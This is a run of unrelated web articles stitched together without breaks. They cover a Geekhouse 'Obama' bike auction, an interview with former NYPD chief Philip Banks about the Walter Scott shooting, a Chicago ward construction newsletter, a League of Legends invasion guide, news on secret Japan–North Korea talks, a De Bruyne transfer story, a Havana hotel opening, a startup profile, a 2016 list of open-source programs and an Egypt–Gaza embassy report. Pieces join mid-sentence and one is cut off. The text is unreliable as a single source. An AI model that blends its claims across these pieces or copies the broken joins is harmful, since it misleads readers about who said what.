The hand built, Geekhouse Custom ‘Rockcity’ Frame measures 55cm, comes race ready with a nice array of parts, and sports a highly designed, curved seat tube. Walsh described his motivation to build the bike as a way to combat the country’s junkie-like addiction to petrol. “I think our country needs some serious change to get away from our dependency on foreign oil and oil in general. But more important than offshore drilling, we need to invest in ourselves and renewable energy sources. A small start to this is to simply ride a bike more. So I’d like to start our own chant: ‘Ride baby, ride!””
The distinctive bike also features custom sublimated graphics on the frame and Veolcity Deep V wheel set, as well as an exclusive ‘Obama chainring’ logo on the front. Funderburgh’s attributes his inspiration for the design to the fiery unity speech Obama delivered at the 2004 DNC when he was still a candidate for the U.S. Senate that emphasized the need for the country to come together and abandon the ‘Red’ and ‘Blue ‘ state labels. “This speech was the first time in my life that I’ve been moved by the words of a living politician. I feel like the people I know are bored to death of cynicism and are willing to do everything in their power to see this momentary flicker of hope extend beyond November.” To emphasize this political ideal, the artist created the design with colors to representing our electoral spectrum using a blue to red gradient.
LINKS: The eBay auction can be found here and more press photos available here: http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=220295559818
Official parts list:
-Thomson Stem and Post
-SDG Saddle
-Tioga Headset
-Sugino Messenger Cranks/Ring
-MKS Sylvan Track Pedals/Clips
-Continental Tires
About Geekhouse Bikes
Geekhouse Bikes is an independent bicycle manufacturer that hand crafts its custom frames in Boston, Massachusetts.
www.geekhousebikes.com
About Dan Funderburgh
Dan Funderburgh is a Brooklyn-based graphic designer that specializes in creating elaborate patterns and what he describes as “wallpaper design.”
www.danfunderburgh.com
About ANIMAL
ANIMAL is a magazine/website that is best described as a mix of underground culture, city-centric musings, and cultural epithets updated daily, providing compulsory reading for artists, writers, curators, creative peoples, (as well as editors, reporters, and brand people). www.animalnewyork.com
For more info contact ANIMAL founder Bucky Turco. 917-847-8281
Tags: awesome Posted in Bike BusinessA protester holds a sign during a rally in North Charleston, South Carolina, on April 8, 2015, following the shooting death of Walter Scott. Photo by Randall Hill/Reuters
After Walter Scott was killed by a police officer in South Carolina last weekend, the North Charleston Police Department issued a statement saying he had been shot after trying to use the officer’s stun gun against him. As the Post and Courier reported that day, a preliminary investigation by the police held that the officer made the decision to fire his weapon after a struggle with Scott; the officer’s lawyer later said his client had “felt threatened.”
This account was quickly discredited by the publication of video footage showing the police officer shooting Scott in the back while he was trying to run away. The shocking video, and the way in which it contradicted the officer’s account, confirmed a suspicion held by many around the country: When cops break the law, they are protected from the consequences. The system does little to make them accept responsibility for their actions—and might even help them evade it.
The tragic incident in North Charleston and its aftermath will surely lead to the further deterioration of the public’s trust in law enforcement, which has been repeatedly shaken over the past year with the high-profile killings of Tamir Rice, Eric Garner, and Michael Brown at the hands of police officers. This leaves the law enforcement community with a problem: How can they convince the people they’re supposed to be protecting to see them as the good guys again?
Philip Banks III, former chief of department, NYPD. Photo via New York Police Department
One idea for how to reform the system comes from Philip Banks III, who retired from the NYPD late last year. Banks, who served in the NYPD for 28 years, spoke to me this week about his proposal for rebuilding law enforcement’s credibility and explained why incidents like the one in South Carolina are so damaging to the work of good police officers everywhere.
You saw the Scott video. What did you think when you saw it?
Horrific. Horrendous. Based on the video I saw—and I can’t imagine anything else being added to the picture that would change my mind—it was probably one of the most indefensible things I’ve seen.
What specifically about what the officer did was so horrific and indefensible?
Well, he was no longer in danger. He was no longer in any physical danger, in any form or fashion. Nor was anybody else in danger.
Before the video came out, the account given by the police department as well as the officer’s lawyer was that the officer had used his Taser to detain the suspect, but ended up shooting him after the suspect gained control of the Taser and tried to use it against the officer. What do you think explains the difference between that and what we see in the video?
It appears somebody intentionally deceived the investigation. Because what was reported in the media was clearly not what happened. And I’m not so sure if there’s even a gray area. Let’s say that at some point prior to the video, the person did try to take his Taser—that’s not when the shots were fired. The shots were fired when the person, without a weapon, was exiting the situation and the cop was in no danger. And it took a video to say that the entire preliminary investigation they were leaning toward was 100 percent wrong.
I think a lot of people, when they look at this, they think, How often does this happen? How often are official reports false?
That’s the question that has to be answered. You have to ask yourself: How many times, when a police officer is involved in an incident, and there’s use of force, does an investigation find the officer to have been at fault? And if that number is minuscule—you know, if it’s a fraction of a percent of all investigations, the question has to be asked: Can we trust the validity of those investigations?
Why is the number so minuscule?
Because the investigation gives the officer the benefit of the doubt, which it should. But one could argue that it gives him a double benefit of the doubt, which it probably shouldn’t. The facts are supposed to lead the investigation and nothing else. It’s supposed to be devoid of any type of favoritism.
Aside from leading to miscarriages of justice in individual cases, what effects do flawed investigations like this have?
If this police department in North Charleston has another shooting tonight, where an unarmed person is shot, and there’s no video, there will be a complete mistrust in the preliminary investigation—even though that investigation may be accurate. We all suffer when we go out there and do our jobs—well, not me anymore, but others—when we do our jobs legitimately and the people lack confidence in the system, which is supposed to protect them. The officers who do their jobs every single day the way they’re supposed to be done—they get victimized.
So the question becomes: How do we restore faith and protect the good cops who do their jobs day in and day out the way they’re supposed to be done? How do we restore people’s confidence in the system? I think that’s what needs to be looked at.
What are our options, in your view?
One of the ways in which we can do it—and I don’t profess there is only one way—is to have a group of people—local people, independent people—who are given access to all the information that’s gathered during the initial stages of each investigation. Not to get in the way, but to be aware and privy to all the information in real time. I think that would restore confidence in the police department when they say, “This is our conclusion.” If you had a member of the local clergy, the local advocate, the local whoever all have total access to every stage of the investigation, then people would be more inclined to believe it was a fair and honest and impartial investigation.
So would this group of independent observers show up to the incident scene whenever something like the shooting of Walter Scott happens?
Yes, absolutely. The initial response to those scenes has to involve an entity that’s not local law enforcement. Depending on how you break it out, geographically or however, there should be people who have access to the heart of the investigation. Not to impede it but to be the eyes and ears, and to ask questions of law enforcement—why this, why not this. That way when the final ruling is out, someone independent has been part of the process, and they can say, “We were privy to this investigation, and everything in this report is what an impartial investigator would derive based on the facts.” Just the fact that they were co-signing it would go a long way toward transparency.
Why is this kind of fix necessary?
People lose confidence in systems, and a few things can restore that confidence. One of them is the messenger. So when the messenger is a credible messenger in people’s eyes, that messenger can say the same things as someone they don’t think is credible, and they’ll believe it.
What you have now is an overwhelming revolt going on in this country about the criminal justice system. It’s not just about Eric Garner. It’s not about Sean Bell. It’s not about Ferguson. Certain people have a major distrust for the criminal justice system. … The advocates are saying—and I’m going to speak only for the legitimate ones—that the totality of the circumstances means that we don’t know if we can trust the police. They’re saying, “We don’t know when you’re telling the truth and when you’re not telling the truth.”
You mean when you have a case like the South Carolina shooting, where we can see that the statements made by the department before the video came out sounded no different from what other departments have said in similar situations?
Absolutely. People say, “We’ve lost the ability to determine whether you’re telling the truth and when you’re not telling the truth. But historically we know there have been times when you did not tell the truth.” You can’t be a liar today and then say, “I’m telling the truth tomorrow.” So the question is: How do you protect cops, and how do you protect the system? You have to restore people’s confidence that this system is a valid system.
But isn’t the problem that when a police officer is investigated, the detectives doing the investigations are deliberately protecting him?
Former North Charleston Police Officer Michael Slager Photo by Charleston County Sheriff’s Office via Reuters
No. When you respond to the scene of an incident, when you’re investigating a crime, there’s an inherent bias you’re going to face if you’re investigating cops, who are part of the same organization as you. You don’t have to do anything intentionally wrong in this situation. There’s a subconscious that you bring to the investigation. In my opinion you have an inherent [inclination] to defend the shooting. Because you place yourself in that particular situation, or the situation that’s described to you, and you’re automatically looking—and it’s very subconscious—to defend the actions rather than gather the evidence. So what I’m suggesting is we find a way to put the validity back into these investigations, because I believe 90 percent or more of them are done correctly. And those 90 percent that are done correctly are being criticized because they’re put into the mix of the others that may not be.
And the solution you’re proposing is to convene a group of people from the community, assign them to particular jurisdictions, and have them be involved in the preliminary investigation whenever there’s an officer-involved shooting?
Yes. And don’t get me wrong—they shouldn’t have the ability to do anything other than have access and ask questions of police personnel. They can’t interview witnesses. They can’t collect evidence. They just have the ability to say, when the report is released, “We were privy to this investigation in its entirety.”
Do you think having those people around would also keep the investigation more honest?
That’s a second benefit of it.
The first benefit is to rebuild the credibility of law enforcement?
Yes. And the second part is to keep the investigation honest.
And how do you think it would have that second effect?
Because what would happen is that—in times where you have an investigation that’s not honest, intentionally or otherwise, you’d have a corrective body there that could say, “Did we look at that particular security camera there? Did we speak to that individual there?”
So would these people be elected? Appointed? What kind of people are you envisioning being on this team?
I don’t know. But I’ll tell you this: There are a lot of people in law enforcement who are smarter than me, and there are a lot of people in the community advocacy world who are smarter than me. And there’s a lot of just regular citizens who are smarter than me, who can vet all that out and determine what is the best model.
Your bottom line is that it should be laypeople—civilians who are there to be the eyes and ears.
Absolutely.
How do you think police officers you worked with would react to having civilians in their midst like this?
Let me tell you something about cops. First of all, I think NYPD cops are the best in the world. I really believe that. It may not be accurate, but I believe that, and nobody’s going to tell me they’re not. But there’s an old saying in law enforcement: There are two things cops don’t like—the way things are, and change. But ultimately, in the long haul, it would be beneficial for them.
This interview has been edited and condensed.News from the 48th Ward: Bryn Mawr Construction Update View this email in your browser June 18, 2014 Dear Neighbor,
The Bryn Mawr Water Main project has begun. This is a large-scale project that will impact traffic flow throughout our community, so please plan accordingly. Access to all sidewalks and the CTA red line station entrance will remain open.
Join me in supporting businesses located on and around Bryn Mawr during the project. Listed below are details for "Bryn Mawr: Open for Business," a special event taking place next Thursday, June 26 from 5:00pm to 9:00pm.
Construction project details are as follows: Workers will be out from 7am - 4pm weekdays only.
Signs with verbal detours have been put up on Lake Shore Drive, Bryn Mawr, Sheridan, Clark and Ridge. There will be a Type III barricade placed from 7am-4pm every day starting tomorrow.
On Wednesday, June 18, there will be saw cutting and soil testing from Kenmore to Broadway and on Thursday, June 19, the installation begins.
Phase 1, which is Kenmore to Winthrop, is predicted to take 2-3 weeks and the installation will continue on with Phase 2: Winthrop to Broadway and Phase 3: Broadway to Glenwood.
There will be no west-bound traffic. East-bound traffic will continue on as normal.
Parking on the south side of Bryn Mawr will be restricted and parking on the north side will be intermittently restricted.
Alley access to Bryn Mawr will be closed, so it is suggested to go south to Catalpa and north to Hollywood when in the alley. Please co-ordinate any necessary deliveries that use the alley with the 7am-4pm work hours.
After 4pm, parking on the north side of Bryn Mawr will open and westbound traffic will resume. However, parking on the south side curb line of Bryn Mawr is closed for equipment storage and staging.
Important note for businesses: there will be a 48-hour notice regarding the water shut-offs. Throughout the project, my office will send email updates to a targeted list of residents and businesses who live/work near Bryn Mawr. If you would like to be included on that list, please email 48th ward intern Monica Hamada at [email protected].
We plan to work with you, Joel Kennedy Construction and the Chicago Department of Water Management to ensure that the project gets completed as quickly and efficiently as possible. Please feel free to contact Dan Luna, chief of staff, at [email protected] or 773-784-5277 with any questions or concerns.
Bryn Mawr “Open for Businessâ€: Thursday, June 26th 5:00pm to 9:00pm
Please join 48th Ward Alderman Osterman and the Edgewater Development Corporation for an evening of entertainment, open houses, deals and discounts that help to support local businesses on Bryn Mawr during water main construction. Stop by to see theater performances, stay to shop the sixteen retailers and restaurants that are offering great specials. Thinking about opening, expanding or relocating your business? Visit the commercial brokers open house to see what is available and talk to an agent.
Evening activities include: 5:00- 7:00 pm Commercial Brokers Open House: Thinking about expanding or relocating? Visit these spaces during the open house: 1046-48 West Bryn Mawr Ave. 1050 West Bryn Mawr Ave 1052 West Bryn Mawr Ave.
5:00 – 8:00 pm David Rothstein Music
Theatre Performances 7:30 pm - Look Back in Anger at Redtwist Theatre (1044 W. Bryn Mawr) 8:00 pm - Eat Your Heart Out at Rivendell Theatre (5779 N. Ridge)
Local Specials during Bryn Mawr "Open for Business": Francesca’s Bryn Mawr - ½ price on bottles of wine
Lens Crafters -40% eyeglasses and prescription sunglasses
That Little Mexican Café – complimentary Mexican tapas with viewing of World Cup
Degenerate Art Gallery- 15% off all art work; Saturday, June 28th Celebrate their 1st year in business
Subway- free 6†sub with the purchase of 6†sub and any drink. (not combined with other offers/promotions; excluding premium or supreme subs)
Bryn Mawr Jewlery Company – 20% off in stock items excluding loose diamonds
Ben’s Noodles and Rice – Free appetizer, choose one..egg rolls, pot stickers, or crab rangoon with meal order
Accu-tronix – 10% discount on all phone accessories; 5% discount on all in stock phones
African Safari Imports-All Authentic African Masks and Artifacts 20% off
Lovely – buy an expresso, coffee or tea and get a free pastry
A Better Tan – 3 pairs of Faux Designer Sunglasses for $20.00
Salon Echo – Happy Feet-Sea Salt Pedicure $36.00
Little Vietnam – Dine in free appetizer
Edgewater Fitness Center – No enrollment fees
Zanzibar- Free 12 oz ice team with every sandwich order
Apart Pizza- 10" Signature pizza plus a drink for $10 (no tax) and 10" Classic pizza plus a drink for $6.75 Thank you for your patience during this project.
Sincerely,
Harry Osterman
Alderman, 48th WardThe invade. The number of times that a game is going to be won or lost by an early teamfight is higher than many people realize; and this can become frustrating because many people do not have a good sense of how to handle these early fights. It is not uncommon to see players who are recklessly entering the opposing jungle when you not only have a composition disadvantage, but also poorly time their jungle entrance.
A great number of people fail to realize that it is not just the composition of a level one fight that will allow you to win, but you also have to successfully position yourself to be in an advantageous position to create the fight. This requires a fair amount of teamwork, and becomes fairly difficult unless your team has very strong communication.
The first thing to look at at the very beginning of the game while deciding whether to invade is naturally your team composition. However, just because your team has a crowd control advantage does not mean it is a good idea to try to start a level one team fight. Especially if these crowd controls are skillshots; a missed skill shot does no damage, and if a skillshot is whiffed then the capacity to engage is dramatically reduced.
It is crucial to not try to engage if you miss an important skillshot. Cho'Gath and Alistar are perfect examples of this; Alistar's Headbutt and Cho'Gaths Rupture are both extremely powerful initiation skills which are able to lock up the entire enemy team long enough for their teammates to put out their damage and gain an advantage. However, both of these skills have their own risk; Rupture is a slow skillshot while Alistar has to be in melee range to be able to knock everyone up.
It isn't just how much crowd control you have available at the beginning of an invade, either. Champions that are able to put out extremely high early game damage are also very effective. Someone who can burn a flash, or even better, straight up kill somebody else are very useful in teamfights. This isn't as essential as having a good way of locking up multiple people, but is an excellent amplifier to your teamfighting capacity.
You may not have the greatest initiation, but sometimes have a high enough level of damage is just good enough to work. Ezreal is a good example, as his Q is on such a low cooldown that he can not only check bushes almost for free, but he can also push out a great deal of damage, as well as ramp up his attack speed, making him terrifyingly powerful at level 1.
But just because Ezreal is a good duelist does not mean that you should shove him in to be the first person barreling into the opposing team's jungle. It is never a good decision to send your squishy ranged champions into the fray, first. Someone big and beefy that can take a few extra hits should always be your priority to have in the jungle first; it's better to have your Blitzcrank have to absorb a few cooldowns over the ranged champions that you have to do a bunch of damage
It is also important to think about whom you are invading against, and what you're trying to accomplish with your invade. If you're invading against someone such as Amumu, you can be fairly certain where they're going to start, and can plan accordingly. Knowing where the enemy jungler will starts means it is easy; you know whether you are invading to take buffs to to try to get some early kills.
Typically, best results will have you moving towards a buff or a small camp at around the 1:35 mark; by this point the far laner will have gone back to base and prepared to move into their lane. This often leaves your team with a numbers advantage, allowing for an even safer invade. This is not always the case, and can sometimes backfire, but that still leave the chance of simply starting an even fight. This timing will also make it so that it their team decides to move and regroup at the other blue on the map, they will lose even more time trying to collect the buffs for their jungler.
The junglers most often invaded on are the blue reliant ones; there are some exceptions to this, such as Alistar rarely being invaded on simply due to his sheer power in level one fights. However, invading on less predictable junglers is still doable, it is just important to remain together as a team. If you are against a jungler who is not particularly blue reliant and can start anywhere, it is very im portant that you are aware of your surroundings and make sure that your teammates are all in positions that will allow them to engage in a fight should they have to.
Position is perhaps the most important aspect of invading in the early game. The most common route that teams take is to move through the mid lane, into the river to enter the opposing teams jungle. This gives the enemy team a much lower period of time where they are able to see where the invade is coming from, and is far more likely to result in a successful surprise attack. The fact that the bush by blue buff on blue teams side is curved also lends to this. The curvedness of the bush allows for a team to make a surprise attack due to a lack of vision. This can backfire, though, as you cannot see the other team, either.
However, just at the tip of the curved bushes near midlane, you are able to move far along enough in the bush to see into the entire intersection; this includes the path that leads straight in front of the turret. Sitting in this path has become a relatively popular spot to watch for invasions due to a perceived safety and lack of opponents vision. However:
There are many variants on the jungle invasion path; you can also move your way through either of the other lanes and try to make a move on the other team from an angle that they likely are not expecting. For example, if you're on the purple team, traveling through bottom lane and entering the jungle through blue teams tri-bush allows you to come straight onto your opponents red buff, while bypassing all vision.
Not only can you make moves on their red buff, but you also may get lucky and catch their bottom laners with their pants down taking golems if you go at the right time. There is also the possibility that their laners decided to enter their lane through the river, and this would allow for a quick and easy kill.
After the phase where a level one team fight is likely to happen, the next consideration is how to handle the situation afterward. If their team rushes to the unoccupied blue buff once they see that you have made a move on theirs, you have really accomplished very little. This is where warding comes into place.
You want to make sure you can optimize your vision to be aware of their jungler's position for as long as possible; warding up your buffs can make it so that even after you have taken theirs, you can make a move to aggress on the opposing jungler. This can allow for some very early kills, and will quickly help you snowball the game if it ends up working out.
Lastly, don't forget to protect your jungle! Protecting your jungle is not just standing around, waiting to see if someone shows up at your blue buff. You need to make sure as many entrances to your jungle are covered as possible, even if it means throwing wards down early so that you can be aware of where they're going. A team does not have to actually have people in the jungle to be protecting it; knowing where the enemy jungler is planning to travel allows you to make plans and respond as quickly as possible.
There are also a few spots that are more hidden than some people may realize. Keep in mind, the fog of war is not revealed around corners, so some spots are very hidden depending on where your team is coming from.
Spots such as this allow you to get an absurd jump on the enemy team without having to restrict yourself to hiding in a bush and hoping that the other team face checks; face checking by just entering the river ends up being just as effective at surprising the opposing team as face checking a bush.
Invasion has become extremely common, but many people still appear to have issues knowing how to handle it. Issues ranging from running straight to the opposing blue and wondering why there was no advantage gained, or being too split off from the team with no ward coverage, many things can go wrong if your invasion is in bad form. So now that you know how to prevent this, enjoy your need invades and many free kills.Tokyo appears to be using North Korea as political leverage amid a diplomatic impasse following the increasingly nationalistic moves of its rightist government, which has resulted in strained relations with its neighbors.Japanese and North Korean officials met in secret over the weekend in Vietnam - the first time the two sides have met since Prime Minister Shinzo Abe took office in late 2012, Japanese media reported.The Tokyo Shimbun said yesterday that North Korea’s Ambassador Song Il-ho, in charge of relations with Tokyo and who headed the Pyongyang officials, met in Hanoi with Junichi Ihara, the director-general of the Asian and Oceanian Affairs Bureau.The Asahi Shimbun further said that there were three Japanese officials, including Ihara, in attendance at the meeting. They are reported to have discussed Japanese abduction cases, among other issues.The Tokyo Shimbun also reported that Ihara is likely to have requested a reinvestigation into the abduction of Megumi Yokota, a 13-year-old Japanese girl who was taken in 1977 by North Korea from the coastal city of Niigata in the Niigata Prefecture.North Korea, in turn, is likely to have urged Japan to set straight its recognition of history during the colonial era and World War II.However, Yoshihide Suga, Japan’s chief cabinet secretary, denied those reports yesterday at a press conference.“We have heard of such reports, but they are not the truth,” he said. “Though Prime Minister Abe is fixed in his determination that the administration will resolve the abduction issue by itself, all possibilities are explored, and we are in the process dealing with the issue with full effort.”When asked by a reporter if Japanese foreign affairs officials were in Hanoi on Jan. 25 and 26, Suga again avoided a direct answer.“It is not known,” he stated.A diplomatic source countered the cabinet secretary’s comments, however, claiming that there had already been under-the-table negotiations in regard to the abduction of Japanese citizens between Japan and North Korea. “Both sides have agreed to deny their meeting,” the source said.The Abe administration was driven into a corner following the prime minister’s controversial visit to the Yasukuni Shrine on Dec. 26, which resulted in a backlash from its neighbors and Washington.According to another Japanese source, Japan may be seeking a breakthrough with North Korea in order to rectify the situation.“Japan did not notify Korea or the U.S. about the meeting with North Korea,” the contact said.BY KIM HYUN-KI [[email protected]]• Belgium midfielder’s agent accuses interviewer of ‘practical joke’ • De Bruyne was being interviewed at awards ceremony in Germany
Kevin De Bruyne has delivered a blow to Manchester City’s hopes of signing him by declaring that he intends to stay with Wolfsburg this season, although his agent has since stated that quotes attributed to him were the result of a “practical joke”.
The Belgium midfielder, 24, has been courted by Manuel Pellegrini’s side since January, with City having submitted an improved bid of £40m plus a potential £7m extra in bonuses last week.
But despite the Wolfsburg manager, Dieter Hecking, dropping a hint that De Bruyne could be set to leave after their first match of the new Bundesliga season, the former Chelsea midfielder had appeared to have drawn a line under speculation.
Interviewed on stage at the Sport-Bild Awards in Hamburg on Monday night, De Bruyne was asked whether he would be staying at Wolfsburg next season. “Yes, I am enjoying the familiar atmosphere in the changing room,” he said. When pressed further, he added: “I, Kevin De Bruyne will definitely play this season at VfL Wolfsburg.”
Wolfsburg and Kevin De Bruyne may lament any move to Manchester City | Andy Brassell Read more
However, De Bruyne’s comments were given short shrift by his agent, Patrick De Koster, who accused the interviewer of asking leading questions.
“I am furious by what has happened tonight. Kevin wanted to show respect by attending this event. No decision has been made on Kevin’s future in this transfer window,” he said.
“We have yet to find out if Wolfsburg has reached any agreement with a club. Kevin remains a Wolfsburg player, and is focused on his job at the club. He also remains happy at Wolfsburg.”
City had appeared confident of making him their final signing of the transfer window having been given strong signs that the player wanted to join. However, after De Koster indicated last week that his client would not force through a move to England, they may turn their attention elsewhere, with Barcelona’s Pedro a possibility.
Despite the chairman, Karl-Heinz Rummenigge, denying last week that Bayern Munich retain an interest in De Bruyne, it is understood the German champions have proposed a deal for him to arrive at the start of next season.Today marks another milestone in the warming relations between Cuba and the United States, as Starwood Hotels & Resorts announces the opening of the Four Points Havana, the first American hotel to welcome guests to the island nation since the 1959 revolution effectively stunted any official relations between the two countries.
There’s been a lot of noise surrounding the reentry into Cuba—and for good reason. Despite some notoriously tricky travel conditions (though they seem to be getting easier every day ), and a persistent lack of Wi-Fi, the country’s candy-colored vintage automobiles, ornate Spanish colonial façades, and culture that places immense value on its artistic traditions, are proving seductive draws to travelers hankering for the next frontier—so it’s no small occasion when a new place pops up. The Four Points is part of a historic, three-hotel deal between Starwood Hotels & Resorts and the Cuban government, though the state still officially owns the hotel, with Starwood managing its renovation and day-to-day operations. The agreement marks the first to thumbs-up from the U.S. Treasury Department to conduct transactions through American financial institutions in order to finance some much-needed facelifts to the preexisting properties.
Set on the Quinta Avenida in the scenic Miramar district, the 186-room hotel is surrounded by the stylish ghosts of visitors past—in its mid-century hey-day, the quiet residential district housed much of the city’s elite, an era etched out in stately, crumbling mansions that continue to line the avenue. Now, it’s the site for a number of embassies, and just a 15-minute drive from the Old City. Originally built in 2010 as the Hotel Quinta Avenida Habana, the hotel bills a large freeform pool enveloped in lounge chairs and palm trees—an ideal place to nurse a rum-heavy beverage (and possibly the resulting hangover)—and bright, spacious suites with shaded balconies. Look for a first-rate spa with a sauna and steam bath, plus Don Quixote and El Olivo, the onsite restaurants serving up local specialties, and the lobby bar where you can work on your best Hemingway impression while you take down local beers like Cristal and Bucanera. Or, you could hold tight until the fresh-faced Gran Caribe Inglaterra Hotel, a neoclassical luxury property near the Gran Teatro and Capitolio, and one of the oldest hotels in the city, makes its re-entry on August 31. Though it’s in the midst of a major reno, it promises to be a polished beauty by the time it starts mixing mojitos. The third property, Hotel Santa Isabel, for which Starwood has signed a letter of intent to convert, doesn't yet have a opening date.
Courtesy Four Points Havana/Alvite
The once-chilly (okay, arctic) relationship between the two countries began to thaw in December 2014, when President Obama famously ordered the restoration of full diplomatic relations with the Caribbean island nation, declaring an end to a 54-year standoff marked most notably by a trade embargo. The country’s U.S. embassy brushed off its cobwebs in August of the same year, and since then, Americans have become even more ravenous for a slice of the still-McDonald's-less paradise. It still isn't all smooth sailing. Officially, travelers to Cuba can’t just go for vacation and must declare one of twelve reasons for travel, which include business trips and family visits. However, with six airlines set to kick off flights to the country in September 2016, replacing the tedious process of booking through a travel agency and taking a chartered aircraft, and the Florida-based Stonegate Bank issuing the first U.S. credit card in the formerly cash-only country, it’s only getting easier to make that 90-mile leap.AOC will unleash its latest 240 Hz gaming monitor, which will be available in the second week of August. Apart from its impressive refresh rate, the AOC AGON AG251FG boasts a 1 ms response time, NVIDIA G-S
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), a Tokyo Institute of Technology graduate who had been engaged in R&D at Samsung Electronics; Min-Soo Kim (CTO), who had been developing apps as a freelance programmer; and Shohei Komatsu (director) who had been involved in fund management and technical advisory work at Tokyo-based startup accelerator Slogan. The firm was part of the first batch from the seed acceleration program Supernova, which is jointly managed by Draper Nexus, Slogan, Coent Venture Partners, and Viling Venture Partners. (However, Pulit’s participation was undisclosed because they were still in a stealth mode as of Demo Day.)
In the distribution of fee-charged video content, popular video distribution platforms include Hulu, Netflix, and Amazon Prime. Although content holders and video creators would love to market at will, most of them depend on these types of platforms. Platforms control the distribution path to viewers, and the profit of content holders or creators tends to be reduced under this income structure. What Pulit is proposing is a disruptive business model that will return video content distribution to content holders and creators.
In the SDS scheme developed by Pulit, as content holders and creators upload video onto a cloud, a Robust Image Watermark is embedded on the cover image and a direct access link (URL) is issued for each video. OS-native players are activated when the direct access link is clicked, and users are then able to watch the videos on their PC or smart devices. DRM (digital rights management) control is also available, so users can save the videos on a local environment or watch them again, according to conditions set by content holders or creators.
Users no longer need to become members of a video distribution platform in order to watch a certain movie. And content holders and creators are able to freely conduct marketing or promotion activities without being restricted by any contract conditions, such as exclusive distribution. Using the URL, content can be displayed as-is on a timeline advertisement on Facebook or Twitter, for example. Pulit will also allow content holders or creators to set the URL to the video content for DSP (demand-side platform) advertisement, thereby raising the conversion ratio of the videos. This feature may be one of the reasons the lineup of angel investors for this round includes some from the ad-tech space.
Content holders and creators who opt for a pay-per-view method can change to a free-distribution method with commercial insertions with a simple switch on the control dashboard. If unreleased content has been reserved, users can receive push-notification with a direct access link for the video via LINE when the content has been released.
Currently, Pulit consists of four members, but the startup plans to increase to six in September. In light of international demand for Japanese content, the firm will approach intellectual property management agencies with Manga content and animation production companies.
Translated by Taijiro Takeda, Edited by “Tex” PomeroyAs 2016 comes to a close, it is time to bring you the best 10 Free and Open Source Software (FOSS) programs I have come across during this year.
Some of these programs may not be new in that they weren’t released for the first time in 2016, but they are new to me and I have found them helpful.
Suggested Read: 20 Free Open Source Softwares I Found in Year 2015
That is why I would like to share a brief review in hopes you will find them useful as well.
1. Atom Editor
Without a doubt, this is my top #1 choice. Perhaps it is because I’m not only a system administrator but also a developer. When I found this Linux text editor developed by GitHub I was totally blown away by it.
Atom is easily extensible through extra packages that provide among other things code autocompletion for a wide variety of languages, FTP capabilities, and built-in browser preview.
Take a minute to watch this introductory video:
2. NextCloud
Described as “a safe home for all your data”, NextCloud was started as a separate project by one of ownCloud’s first collaborators.
Although it raised a few sparks between him and the ownCloud community, NextCloud seems to be here to stay and compete with ownCloud as a private cloud solution to access and share your files, calendars and contacts.
3. Celestia
Because even system administrators and developers need a little distraction, you can use Celestia (a free 3D astronomy program) to navigate the universe.
As opposed to other planetarium software, Celestia allows you to travel throughout the solar system and the galaxy, not just the surface of the earth. To infinity and beyond!
4. FreeRDP
If your system administration tasks include managing Windows servers via Remote Desktop Protocol (RDP), FreeRDP is a tool that you will want to try out.
It is described by its developers as a RDP client for Windows Terminal Services. The project is hosted on GitHub, so you are welcome to collaborate with it if you wish.
5. Flyspray
Again, I may be a little biased on this one. If you are searching for a bug-tracking and project management solution, don’t look any further Flyspray, a web-based tool powered by Apache, has exactly what you need. And don’t just take my word for it: even ArchLinux uses Flyspray for bug-tracking.
It supports MySQL or PostgreSQL as database servers and provides voting functionality, email notifications (requires a separate mail server to be installed and configured) and optional Single-Sign On (SSO) using a Facebook or Google accounts.
6. GNUCash
If you have been using a spreadsheet to keep track of your personal, family, or business finances, it may be time to try a more suitable solution such as GNUCash.
This FOSS accounting software allows you to keep an eye on your bank accounts, expenses, and income and to create custom, complete reports with this data. Its user-friendly interface is a plus to the solid accounting principles GNUCash uses under the hood.
The official website includes an exhaustive FAQ section, the application Manual, and a Tutorial guide. With these materials, learning how to use GNUCash will be a play on the park. On top of that, you can subscribe to the mailing lists in case you need help or run into any problems with GNUCash.
7. LogicalDOC
Both available as an Enterprise (paid) and Community editions, LogicalDOC is an award-winning, web-based Document Management System (DMS). As such, it aims to provide a high-quality method for sharing business documents and records in a low-cost and secure way.
Additionally, LogicalDOC allows you to control access to these resources via security roles, and to easily track changes through version control. LogicalDOC can be installed both on a single computer in standalone mode, on a dedicated server as a shared service, or as a Software as a Service (SaaS) solution.
8. Blender
If you are into game development, video editing, or 3D modeling, I am sure you must have already heard about this tool. If you are considering any of these activities either as a hobby or a career change and haven’t heard about Blender, it is definitely time to check it out.
As a FOSS solution, it does not come short when compared to commercial tools. On top of it, Blender is cross-platform which means you can not only run it on Linux but also on MacOS and Windows.
9. DVDStyler
DVDStyler is a cross-platform, FOSS DVD authoring tool that allows you to create nice-looking and professional DVDs with your video and image files.
As such, DVDStyler allows you to create your own interactive menus or choose from the built-in ones, add subtitle and audio files, and use video files in different formats.
In addition, this awesome tool integrates with your DVD burner to burn the disk from within the same application.
10. OSQuery
As its name suggests, OSQuery provides access to real-time system information in the form of tables and events that can be queried using SQL-like syntax via an interactive query console.
With OSQuery, you can explore your system to perform intrusion detection, diagnose a problem, or just to produce a report of its operation – all at your fingertips using a single tool.
If you have at least a basic understanding of SQL, getting details about the operating system using the built-in tables in OSQuery will be a piece of cake.
Need yet another reason to convince you to give OSQuery a try? It was developed and is maintained by the folks at Facebook.
Summary
In this article I have shared a brief review of the top 10 FOSS programs I have come across in 2016. Are there any other programs you would like us to review, or would like to suggest to be a part of a future article? Kindly let us know using the form below and we will be more than glad to take a look.GAZA CITY, Gaza Strip — Gaza could be getting a status upgrade to become an embassy headquarters for Egypt, though Egyptian officials declined to comment on media reports to that effect.
According to the reports, Egypt has threatened Palestinian President Mahmoud Abbas with moving the Egyptian Embassy to Gaza from the city of Ramallah in the West Bank. The news comes from the Fateh Voice website, among other media outlets with ties to Mohammed Dahlan, who was dismissed in 2011 as leader of the Fatah nationalist political party after a split with Abbas.
Egypt and the other members of the Arab Quartet (Jordan, Saudi Arabia and the United Arab Emirates) have been pressuring Abbas to reconcile with Dahlan, who might then succeed the 81-year-old Abbas. Not only did Abbas not comply, he opened Fatah’s seventh congress Nov. 29 while completely excluding Dahlan and his supporters. Abbas was re-elected to lead Fatah for a five-year term.
Media reports about the embassy were preceded on Nov. 21 by Egypt's temporary opening of its consulate west of Gaza City — for the first time since its closure in 2007 after Hamas’ takeover of Gaza — for cleanup and renovation. The move added to speculation about the potential official reopening of the consulate, which would ease the movement of Palestinians through the Rafah crossing and facilitate relations with the Egyptian community in Gaza.
